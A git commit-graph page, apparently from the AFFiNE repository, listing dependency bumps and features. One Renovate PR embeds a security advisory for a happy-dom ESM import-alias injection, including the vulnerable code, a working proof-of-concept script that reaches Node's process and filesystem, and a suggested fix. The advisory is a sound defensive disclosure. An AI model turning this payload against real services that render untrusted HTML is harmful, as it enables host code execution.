Commit Graph
1891 Commits
Author SHA1 Message Date
DarkSky 577ae12b51 feat(mobile): bump xcode deps (#15885)
#### PR Dependency Tree


* **PR #15885** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

## Summary by CodeRabbit

* **Bug Fixes**
* Improved handling of app links and shared content when the iOS app
opens or returns to the foreground.
* iOS simulator tests now install and launch the app before running, and
verify that it stays open.
* **Chores**
* Updated the iOS build and release process to use Xcode 27 and require
an iOS SDK version of 27 or later.
* Adjusted release builds to preserve the required components for iOS
app packaging.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-22 22:30:44 +08:00
DarkSky 3d25727076 feat(core): improve sync stability (#15883)
#### PR Dependency Tree


* **PR #15883** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

## Summary by CodeRabbit

* **New Features**
* Document creation can now recover incomplete registrations without
recreating document content.
* Document updates can detect revision conflicts, helping prevent
changes from overwriting newer edits.
* **Improvements**
* Document sync and update handling are improved across desktop,
Android, and iOS.
* Workspace metadata and legacy document pages are handled more
consistently during migration and recovery.
* Creator and editor details are better preserved when documents are
recovered or compacted.
* **Configuration**
  * Removed the experimental document-merge setting.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-22 01:37:22 +08:00
DarkSky 15bcb880c9 chore: bump version (#15873) 2026-11-20 17:52:12 +08:00
Nir b4539cee35 feat(core): add Radix DirectionProvider for RTL support (#15214)
## What

Mounts a `DirectionProvider` in `AffineContext` that feeds the current
language's text direction to all Radix UI primitives. Adds an `rtl` flag
to `LanguageInfo` (from `SUPPORTED_LANGUAGES`), with a colocated unit
test.

Part of #8966.

## Why

Radix primitives read direction from React context, not from the
document `dir` attribute. Since #14624, `document.documentElement.dir`
correctly flips to `rtl` for Arabic/Persian/Urdu — but every Radix
dropdown, popover and menu still hard-renders LTR internally.

## Notes for reviewers

- `@radix-ui/react-direction` is pinned to the exact version the other
Radix primitives resolve (`1.1.1`), not a caret range. A caret range
resolves to a newer duplicate module copy, which means a different React
context object — the primitives would silently ignore the provider.
Verified at runtime both ways.
- Portaled Radix content preserves React context, so portaled popovers
inherit direction too.

## Testing

- `yarn typecheck`, `yarn vitest run
packages/frontend/core/src/modules/i18n` (3 tests) pass.
- Verified in the running web app (Playwright + manual): with language
set to العربية, the workspace selector popover and menus render
`dir="rtl"`; English UI unaffected.
2026-11-08 22:21:44 +08:00
DarkSky e1261c40bf chore: bump deps (#15795) 2026-11-06 00:58:55 +08:00
DarkSky b2e56529ee chore: improve ci (#15743) 2026-10-26 16:49:45 +08:00
renovate[bot] c4573551ce chore: bump up happy-dom version to v21 [SECURITY] (#15739)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [happy-dom](https://redirect.github.com/capricorn86/happy-dom) |
[`^20.3.0` →
`^21.0.0`](https://renovatebot.com/diffs/npm/happy-dom/20.8.9/21.0.4) |
![age](https://developer.mend.io/api/mc/badges/age/npm/happy-dom/21.0.4?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/happy-dom/20.8.9/21.0.4?slim=true)
|
| [happy-dom](https://redirect.github.com/capricorn86/happy-dom) |
[`^20.0.0` →
`^21.0.0`](https://renovatebot.com/diffs/npm/happy-dom/20.8.9/21.0.4) |
![age](https://developer.mend.io/api/mc/badges/age/npm/happy-dom/21.0.4?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/happy-dom/20.8.9/21.0.4?slim=true)
|

---

### Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import
alias leads to host code execution
[CVE-2026-115895](https://nvd.nist.gov/vuln/detail/CVE-2026-115895) /
[GHSA-834v-8h66-3h79](https://redirect.github.com/advisories/GHSA-834v-8h66-3h79)

<details>
<summary>More information</summary>

#### Details
##### Summary

The ESM compiler in `happy-dom@20.14.5` does not validate imported local
binding aliases before interpolating them into generated JavaScript.

As a result, an invalid ESM import alias can be transformed into a valid
JavaScript destructuring default initializer and executed.

This appears to be an alternate injection path and incomplete
remediation of GHSA-6q6h-j7hj-3r64 / CVE-2026-33943. The previous fix
validates `importName` in the local `export { ... }` handler, but the
named import handler still places an unvalidated `alias` directly into
code context.

These issues were confirmed through the public `Window` and `<script
type="module">` APIs using the published `happy-dom` npm package. The
PoC reaches the Node.js host `process`, obtains `node:fs`, and creates a
proof directory on the host filesystem.

##### Confirmed affected versions

The PoC was directly tested against:

- `happy-dom@17.0.0`
- `happy-dom@20.0.0`
- `happy-dom@20.1.0`
- `happy-dom@20.14.5`

The same PoC does not trigger on `happy-dom@16.8.1`.

The ESM compiler was introduced by commit `7bc831df2`, first released in
`v17.0.0`. The vulnerable interpolation remains present through
`v20.14.5`, the latest release at the time of testing.

Suggested affected range:

```text
>= 17.0.0, <= 20.14.5
```

No patched version is currently available.

##### Preconditions

- JavaScript evaluation is enabled with `enableJavaScriptEvaluation:
true`.
- Attacker-controlled HTML or module source is processed by Happy DOM.
- This may affect SSR, preview, scraping, or testing services that
evaluate externally supplied HTML.

##### Technical details

In `packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts`, the
named import handler splits an import specifier and extracts its alias:

```ts
const nameParts = part.trim().split(/\s+as\s+/);
const alias = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const name = nameParts[0].replace(/["']/g, '');

if (alias && name) {
  properties.push({ name, alias });
}
```

Unlike the patched `export { ... }` handler, the value of `alias` is not
validated as a JavaScript identifier.

It is subsequently inserted directly into generated binding syntax:

```ts
newCodeStart += `let {${properties
  .map((property) =>
    property.alias
      ? `"${property.name}": ${property.alias}`
      : property.name
  )
  .join(', ')}} = $happy_dom.imports.get('${url}')${match[8]}`;
```

Consider the following source:

```js
import {
  missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };
```

This is invalid ECMAScript module syntax. Node.js rejects it at the `=`
token.

Happy DOM instead transforms it into the equivalent of:

```js
let {
  "missing": injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} = $happy_dom.imports.get('https://poc.local/dep.json');
```

This generated JavaScript is valid. Because the imported JSON object
does not contain a `missing` property, the default initializer executes.

The `with { type: 'json' }` attribute is relevant because the compiler
only generates its circular import resolver for ESM imports:

```ts
if (!match[7] || match[7] === 'esm') {
  resolvableCircularImports.push({ url, properties });
}
```

Using a JSON module prevents the malicious alias from being emitted
again in a later circular-import assignment, leaving the generated
function syntactically valid.

Backtick strings also survive the existing quote removal. This allows
the injected initializer to reach Node.js host APIs:

```js
globalThis.constructor.constructor(`return process`)()
  .getBuiltinModule(`node:fs`)
  .mkdirSync(
    globalThis.constructor.constructor(`return process`)().cwd() +
      `/HAPPY_DOM_RCE_PROOF`
  )
```

##### Proof of concept

The following PoC uses only the public Happy DOM API and performs a
harmless filesystem action by creating a directory named
`HAPPY_DOM_RCE_PROOF`.

##### 1. Create `package.json`

```json
{
  "name": "happy-dom-import-alias-rce-poc",
  "private": true,
  "type": "module",
  "dependencies": {
    "happy-dom": "20.14.5"
  }
}
```

##### 2. Create `dep.json`

```json
{}
```

##### 3. Create `payload.mjs`

This file is used as a control to demonstrate that a native ECMAScript
parser rejects the source:

```js
import {
  missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };
```

##### 4. Create `poc.mjs`

```js
import { Window } from 'happy-dom';
import { existsSync, rmSync } from 'node:fs';
import { resolve } from 'node:path';

const proofDirectory = resolve('HAPPY_DOM_RCE_PROOF');
rmSync(proofDirectory, { recursive: true, force: true });

const window = new Window({
  url: 'https://poc.local/',
  settings: {
    enableJavaScriptEvaluation: true,
    suppressCodeGenerationFromStringsWarning: true,
    fetch: {
      virtualServers: [
        {
          url: 'https://poc.local/',
          directory: process.cwd()
        }
      ]
    }
  }
});

const script = window.document.createElement('script');
script.type = 'module';

script.textContent = `
  import {
    missing as injected = globalThis.constructor.constructor(\`return process\`)()
      .getBuiltinModule(\`node:fs\`)
      .mkdirSync(
        globalThis.constructor.constructor(\`return process\`)().cwd() +
        \`/HAPPY_DOM_RCE_PROOF\`
      )
  } from './dep.json' with { type: 'json' };
`;

window.document.body.appendChild(script);
await window.happyDOM.waitUntilComplete();

if (!existsSync(proofDirectory)) {
  console.error('[-] Exploit failed: proof directory was not created.');
  console.error(
    window.happyDOM.virtualConsolePrinter.readAsString()
  );
  process.exitCode = 1;
} else {
  console.log(`[+] Host filesystem reached: ${proofDirectory}`);
}

await window.happyDOM.close();
```

##### 5. Run the control test

```console
npm install
node --check payload.mjs
```

Expected result:

```text
SyntaxError: Unexpected token '='
```

This confirms that the source is not valid ESM.

##### 6. Run the Happy DOM PoC

```console
node poc.mjs
```

Expected result:

```text
[+] Host filesystem reached: /path/to/HAPPY_DOM_RCE_PROOF
```

The existence of `HAPPY_DOM_RCE_PROOF` confirms that the expression
injected through the import alias executed and reached the host
filesystem.

The PoC was also verified inside a `node:24-alpine` Docker container,
where it created:

```text
/poc/HAPPY_DOM_RCE_PROOF
```

##### Impact

An attacker who can supply module source to an application that
evaluates JavaScript through Happy DOM can cause syntactically invalid
import declarations to be transformed into executable JavaScript.

This may bypass upstream syntax validation or application assumptions
that malformed import clauses will be rejected.

The demonstrated payload reaches Node.js `process` and built-in modules.
It can therefore be adapted to read or modify files, access environment
data, or execute operating-system commands with the privileges of the
Happy DOM host process.

##### Relationship to CVE-2026-33943

CVE-2026-33943 covers expression injection through a local export
declaration:

```js
export { attacker_expression }
```

Its fix added identifier validation to the `importName` used by the
`export { ... }` handler:

```ts
if (
  exportName &&
  importName &&
  VALID_VARIABLE_NAME_REGEXP.test(importName)
) {
  // ...
}
```

This report uses a different parsing and code-generation path:

```js
import { name as malicious_alias } from './module';
```

The unvalidated value is the local import `alias`, and the injection
occurs in a generated destructuring binding rather than the export
assignment patched by CVE-2026-33943.

The issue remains reproducible in versions released after the
CVE-2026-33943 fix, including `20.14.5`.

##### Suggested fix

Validate the imported local binding before placing it into code context.
The existing `VALID_VARIABLE_NAME_REGEXP` can be reused:

```diff
- if (alias && name) {
+ if (alias && name && VALID_VARIABLE_NAME_REGEXP.test(alias)) {
```

A regression test should compile and execute the malicious import
declaration, then verify that the initializer was not evaluated.

This change was tested locally. The focused `ECMAScriptModuleCompiler`
test suite passes with 30 tests, and ESLint reports no errors.

For additional hardening, generated property keys should use
`JSON.stringify()` instead of manual quote interpolation.

##### Verification record

- Testing date: 2026-09-17
- Duplicate check updated: 2026-09-20
- Platform: Windows 11
- Node.js: `24.14.1`
- Latest tested package: `happy-dom@20.14.5`
- Source tag: `v20.14.5`
- Source commit: `0d4cdbe7442af49d16b49ddf1acf7cc9684ed318`
- First confirmed affected version: `17.0.0`
- Confirmed unaffected version: `16.8.1`
- Docker environment: Node 24 Alpine
- No matching public advisory, issue, pull request, commit, or release
was found during the duplicate check.

#### Severity
- CVSS Score: 8.8 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`

#### References
-
[https://github.com/capricorn86/happy-dom/security/advisories/GHSA-834v-8h66-3h79](https://redirect.github.com/capricorn86/happy-dom/security/advisories/GHSA-834v-8h66-3h79)
-
[https://github.com/capricorn86/happy-dom/pull/2537](https://redirect.github.com/capricorn86/happy-dom/pull/2537)
-
[https://github.com/capricorn86/happy-dom/commit/fd163520b74d9fa146be91f7b4e4f46d6cccbe13](https://redirect.github.com/capricorn86/happy-dom/commit/fd163520b74d9fa146be91f7b4e4f46d6cccbe13)
-
[https://github.com/capricorn86/happy-dom/releases/tag/v21.0.4](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v21.0.4)
-
[https://github.com/advisories/GHSA-834v-8h66-3h79](https://redirect.github.com/advisories/GHSA-834v-8h66-3h79)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-834v-8h66-3h79)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>capricorn86/happy-dom (happy-dom)</summary>

###
[`v21.0.4`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v21.0.4)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v21.0.3...v21.0.4)

##### 👷‍♂️ Patch fixes

- Fixed a code injection vulnerability in the ESM compiler - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**
- Fixed cross-origin isolation so opaque-origin `data:` iframes cannot
access their parent or top window - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**

###
[`v21.0.3`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v21.0.3)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v21.0.2...v21.0.3)

##### 👷‍♂️ Patch fixes

- Fixes security vulnerability where authorization header was forwarded
when redirecting - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**

###
[`v21.0.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v21.0.2)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v21.0.1...v21.0.2)

##### 👷‍♂️ Patch fixes

- Fixes SSRF security vulnerability by doing a target-origin bypass in
the proxy server in
[@&#8203;happy-dom/server-renderer](https://redirect.github.com/capricorn86/happy-dom/wiki/Server-Renderer)
- By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**

###
[`v21.0.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v21.0.1)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v21.0.0...v21.0.1)

##### 👷‍♂️ Patch fixes

- Adds aliases `--css` and `--iframe` for enabling CSS and iframe
loading to
[@&#8203;happy-dom/server-renderer](https://redirect.github.com/capricorn86/happy-dom/wiki/Server-Renderer)
- By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**

###
[`v21.0.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v21.0.0)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.14.6...v21.0.0)

##### 💣 Breaking Changes

- Disables CSS and IFrame loading by default to prevent [server-side
request forgery
(SSRF)](https://en.wikipedia.org/wiki/Server-side_request_forgery) - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**
- An attacker could embed `<iframe>` or `<link rel="stylesheet">`
elements in untrusted HTML to make Happy DOM send HTTP requests from the
server to attacker-chosen URLs, including internal services. This could
allow access to otherwise unreachable endpoints or trigger unintended
actions, depending on the application and its network access.
  - The settings property `disableCSSFileLoading` has been deprecated
- Added the new settings properties
[enableCSSFileLoading](https://redirect.github.com/capricorn86/happy-dom/wiki/IBrowserSettings#properties)
and
[enableIframePageLoading](https://redirect.github.com/capricorn86/happy-dom/wiki/IBrowserSettings#properties)
- If you don't believe that you are at risk, you can keep the same
behavior as in `<=v20.14.6` by sending in `{ enableCSSFileLoading: true,
enableIframePageLoading: true }` as [broswer
settings](https://redirect.github.com/capricorn86/happy-dom/wiki/IOptionalBrowserSettings)
(e.g. `new Window({ settings })`);

###
[`v20.14.6`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.14.6)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.14.5...v20.14.6)

##### 👷‍♂️ Patch fixes

- Fixes cookie scope forgery vulnerability - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**

###
[`v20.14.5`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.14.5)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.14.4...v20.14.5)

##### 👷‍♂️ Patch fixes

- Preserve character references in comment data - By
**[@&#8203;hampustagerud](https://redirect.github.com/hampustagerud)**
in task
[#&#8203;2409](https://redirect.github.com/capricorn86/happy-dom/issues/2409)

###
[`v20.14.4`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.14.4)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.14.3...v20.14.4)

##### 👷‍♂️ Patch fixes

- End comments at the first comment end tag when it overlaps a comment
start tag - By
**[@&#8203;hampustagerud](https://redirect.github.com/hampustagerud)**
in task
[#&#8203;2407](https://redirect.github.com/capricorn86/happy-dom/issues/2407)

###
[`v20.14.3`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.14.3)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.14.2...v20.14.3)

##### 👷‍♂️ Patch fixes

- Avoids cloning all properties in CSSPropertyManager.toString - By
**[@&#8203;erictheswift](https://redirect.github.com/erictheswift)** in
task
[#&#8203;2363](https://redirect.github.com/capricorn86/happy-dom/issues/2363)

###
[`v20.14.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.14.2)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.14.1...v20.14.2)

##### 👷‍♂️ Patch fixes

- Fixes regression where not all CSS variables where resolved in
`getComputedStyle()` - By
**[@&#8203;klaesra](https://redirect.github.com/klaesra)** in task
[#&#8203;2344](https://redirect.github.com/capricorn86/happy-dom/issues/2344)

###
[`v20.14.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.14.1)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.14.0...v20.14.1)

##### 👷‍♂️ Patch fixes

- Invalidate the computed style cache for the whole subtree - By
**[@&#8203;matmannion](https://redirect.github.com/matmannion)** and
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2366](https://redirect.github.com/capricorn86/happy-dom/issues/2366)

###
[`v20.14.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.14.0)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.13.2...v20.14.0)

##### 🎨 Features

- Improves computed style cache - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2357](https://redirect.github.com/capricorn86/happy-dom/issues/2357)

###
[`v20.13.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.13.2)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.13.1...v20.13.2)

##### 👷‍♂️ Patch fixes

- Fix problem with getComputedStyle with :host and :host-context
selectors - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2349](https://redirect.github.com/capricorn86/happy-dom/issues/2349)

###
[`v20.13.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.13.1)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.13.0...v20.13.1)

##### 👷‍♂️ Patch fixes

- GetComputedStyle should return inherited value when it is set to
inherit - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2347](https://redirect.github.com/capricorn86/happy-dom/issues/2347)

###
[`v20.13.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.13.0)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.12.2...v20.13.0)

##### 🎨 Features

- Adds support for :host psuedo query selector - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2345](https://redirect.github.com/capricorn86/happy-dom/issues/2345)

###
[`v20.12.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.12.2)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.12.1...v20.12.2)

##### 👷‍♂️ Patch fixes

- Custom elements should be upgraded when connected to DOM - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2342](https://redirect.github.com/capricorn86/happy-dom/issues/2342)

###
[`v20.12.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.12.1)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.12.0...v20.12.1)

##### 🎨 Features

- Adds support for kebab-case properties on `CSSStyleDeclaration` - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2256](https://redirect.github.com/capricorn86/happy-dom/issues/2256)
- Adds support for all Chromium CSS properties to `CSSStyleDeclaration`
- By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**
in task
[#&#8203;2256](https://redirect.github.com/capricorn86/happy-dom/issues/2256)
  - Downloads a list from the Chromium project when compiling

##### 👷‍♂️ Patch fixes

- Fixes issue with parsing CSS fallback variables - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2256](https://redirect.github.com/capricorn86/happy-dom/issues/2256)

###
[`v20.12.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.12.0)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.15...v20.12.0)

##### 🎨 Features

- Adds support for `Animation`, `AnimationTimeline`, `DocumentTimeline`
and `KeyframeEffect` - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**
- Adds support for `Element.animate()` - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**

###
[`v20.11.15`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.15)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.14...v20.11.15)

##### 👷‍♂️ Patch fixes

- Fixes issue with upgrading custom element caused by previous release -
By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2331](https://redirect.github.com/capricorn86/happy-dom/issues/2331)

###
[`v20.11.14`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.14)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.13...v20.11.14)

##### 👷‍♂️ Patch fixes

- Change prototype of element to the custom element when upgraded to
keep the reference - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2331](https://redirect.github.com/capricorn86/happy-dom/issues/2331)
- The previous solution replaced the element with the custom element and
copied it's properties, but this made any reference to the original
element invalid

###
[`v20.11.13`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.13)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.12...v20.11.13)

##### 👷‍♂️ Patch fixes

- Copy event listeners when upgrading a custom element - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2329](https://redirect.github.com/capricorn86/happy-dom/issues/2329)

###
[`v20.11.12`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.12)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.11...v20.11.12)

##### 👷‍♂️ Patch fixes

- Add check for if the node is still a parent during disconnect - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2322](https://redirect.github.com/capricorn86/happy-dom/issues/2322)

###
[`v20.11.11`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.11)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.10...v20.11.11)

##### 👷‍♂️ Patch fixes

- Use proxy as parent node in Node.connectedToNode - By
**[@&#8203;diegohaz](https://redirect.github.com/diegohaz)** in task
[#&#8203;2253](https://redirect.github.com/capricorn86/happy-dom/issues/2253)

###
[`v20.11.10`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.10)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.9...v20.11.10)

##### 👷‍♂️ Patch fixes

- Return default validationMessage for built-in constraint violations -
By **[@&#8203;mixelburg](https://redirect.github.com/mixelburg)** in
task
[#&#8203;2187](https://redirect.github.com/capricorn86/happy-dom/issues/2187)

###
[`v20.11.9`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.9)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.8...v20.11.9)

##### 👷‍♂️ Patch fixes

- Make sure that the element has been upgraded before invoking reaction
callback in custom elements - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2317](https://redirect.github.com/capricorn86/happy-dom/issues/2317)

###
[`v20.11.8`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.8)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.7...v20.11.8)

##### 👷‍♂️ Patch fixes

- Values pushed or assigned to the `adoptedStyleSheet` array should be
validated - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2315](https://redirect.github.com/capricorn86/happy-dom/issues/2315)

###
[`v20.11.7`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.7)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.6...v20.11.7)

##### 👷‍♂️ Patch fixes

- The properties `Document.adoptedStyleSheets` and
`ShadowRoot.adoptedStyleSheets` should validate it's value - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2313](https://redirect.github.com/capricorn86/happy-dom/issues/2313)

###
[`v20.11.6`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.6)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.5...v20.11.6)

##### 👷‍♂️ Patch fixes

- Updates docs for the global-registrator package - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2300](https://redirect.github.com/capricorn86/happy-dom/issues/2300)

###
[`v20.11.5`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.5)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.4...v20.11.5)

##### 👷‍♂️ Patch fixes

- Allow explicit element types for querySelector (e.g.
`querySelector<HTMLInputElement>(".my-input")`) - By
**[@&#8203;cyphercodes](https://redirect.github.com/cyphercodes)**

###
[`v20.11.4`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.4)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.3...v20.11.4)

##### 👷‍♂️ Patch fixes

- Fixes the CORS check `fetch()` to match origins instead of host and
protocol - By **[@&#8203;rexxars](https://redirect.github.com/rexxars)**
in task
[#&#8203;1490](https://redirect.github.com/capricorn86/happy-dom/issues/1490)

###
[`v20.11.3`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.3)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.2...v20.11.3)

##### 👷‍♂️ Patch fixes

- Make document.links return a live HTMLCollection - By
**[@&#8203;bangseongbeom](https://redirect.github.com/bangseongbeom)**
in task
[#&#8203;2299](https://redirect.github.com/capricorn86/happy-dom/issues/2299)
- Copy labels array to prevent mutation of cached querySelectorAll
result - By
**[@&#8203;mixelburg](https://redirect.github.com/mixelburg)** in task
[#&#8203;2226](https://redirect.github.com/capricorn86/happy-dom/issues/2226)

###
[`v20.11.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.2)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.1...v20.11.2)

##### 👷‍♂️ Patch fixes

- MutationObserver callback being GC'd due to orphaned WeakRef - By
**[@&#8203;mixelburg](https://redirect.github.com/mixelburg)** in task
[#&#8203;2264](https://redirect.github.com/capricorn86/happy-dom/issues/2264)

###
[`v20.11.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.1)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.0...v20.11.1)

##### 👷‍♂️ Patch fixes

- Improve performance of query selectors by avoiding construction of
DOMException when not needed - By
**@&#8203;[@&#8203;cyfung1031](https://redirect.github.com/cyfung1031)**
in task
[#&#8203;2228](https://redirect.github.com/capricorn86/happy-dom/issues/2228)

###
[`v20.11.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.0)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.6...v20.11.0)

##### 🎨 Features

- Adds support for [CookieStore
API](https://developer.mozilla.org/en-US/docs/Web/API/Cookie_Store_API)
- By
**[@&#8203;TrevorBurnham](https://redirect.github.com/TrevorBurnham)**
in task
[#&#8203;1864](https://redirect.github.com/capricorn86/happy-dom/issues/1864)
- Adds support for
[Element.checkVisibility()](https://developer.mozilla.org/en-US/docs/Web/API/Element/checkVisibility)
- By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**
in task
[#&#8203;1506](https://redirect.github.com/capricorn86/happy-dom/issues/1506)

###
[`v20.10.6`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.10.6)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.5...v20.10.6)

##### 👷‍♂️ Patch fixes

- Await NodeJS internal ReadableStream promise during teardown - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2217](https://redirect.github.com/capricorn86/happy-dom/issues/2217)

###
[`v20.10.5`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.10.5)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.4...v20.10.5)

##### 👷‍♂️ Patch fixes

- Adds cache to query selector parser - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2142](https://redirect.github.com/capricorn86/happy-dom/issues/2142)
- The selector parser degraded in performance in v20.6.3 to solve more
complex selectors
- Parsing is still a bit slower, but the cache will hopefully mitigate
most of the problem

###
[`v20.10.4`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.10.4)

[Compare
